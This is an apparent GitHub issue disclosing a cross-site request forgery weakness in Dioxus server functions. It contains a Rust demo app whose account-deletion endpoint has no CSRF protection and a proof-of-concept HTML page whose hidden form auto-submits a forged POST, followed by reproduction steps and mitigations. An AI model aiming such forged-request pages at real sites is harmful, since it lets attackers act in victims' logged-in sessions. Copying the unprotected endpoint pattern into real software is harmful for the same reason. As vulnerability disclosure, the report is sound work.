Skip to content

[Security]: CSRF in Server Functions. #4132

Closed as not planned
Closed as not planned
@wiseaidev

Description

@wiseaidev

A simple Dioxus app exposes a server function (delete_account) at /api/delete without any CSRF token or origin checks. Because browsers send cookies on cross-site POSTs by default, an attacker's hidden form can trigger that endpoint in a victim's authenticated session, deleting the account.

Vulnerable Code

use dioxus::prelude::*;

fn main() {
    dioxus::launch(App);
}

#[component]
fn App() -> Element {
    let mut response = use_signal(String::new);
    let id = use_signal(|| 69);

    rsx! {
        div {
            button {
                r#type: "button",
                onclick: move |_| async move {
                    let data = delete_account(id()).await.unwrap();
                    response.set(data);
                },
                "Delete Account"
            }
            if !response().is_empty() {
                p {
                    "Server responded: "
                    i { "{response}" }
                }
            }
        }
    }
}

#[server(endpoint = "delete")]
async fn delete_account(user_id: i64) -> Result<String, ServerFnError> {
    Ok(format!("Account {} deleted!", user_id).to_string())
}

Here, the #[server] macro auto-mounts a JSON POST endpoint with no CSRF protection (dioxuslabs.com).

PoC Exploit

Create exploit.html on a different origin (or local file):

<!DOCTYPE html>
<html>
  <body>
    <form
      action="http://localhost:8080/api/delete"
      method="POST"
      style="display:none"
    >
      <input name="user_id" value="69" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>
  1. Run the Dioxus full-stack app locally (e.g. dx serve).
  2. Visit http://localhost:8080 so your session cookie is set.
  3. Open exploit.html in the same browser.
  4. The hidden form auto-submits, and the server logs Account 69 deleted! without any user action (OWASP Foundation, OWASP Foundation).
  5. In your browser, open DevTools -> Network, filter by All.
  6. Observe a POST to http://localhost:8080/api/delete with a 200 response, and no custom X-CSRF-Token or similar header.
  7. Observe a 200 response in your terminal:
21:52:53 [dev] [200] /api/delete

Why It Works

  • No CSRF Token: Server functions lack built-in token validation (dioxuslabs.com).
  • Cookies Sent Cross-Site: Unless SameSite is set, browsers include cookies on cross-site POSTs, authenticating the forged request (OWASP Foundation).

Quick Mitigations

  1. Synchronizer Token: Generate a per-session CSRF token, embed it in forms/headers, and validate it server-side (OWASP Cheat Sheet Series).
  2. SameSite Cookies: Set Set-Cookie: session=...; SameSite=Strict (or Lax) to block most CSRF POSTs (OWASP Foundation) (e.g. opensass login endpoint uses axum_extra/extract/cookie).

With just a few lines of code and a hidden form, this CSRF exploit highlights why Dioxus server functions should always be paired with token checks or strict cookie policies.

Metadata

Metadata

Assignees

No one assigned

    Labels

    fullstackrelated to the fullstack crate

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions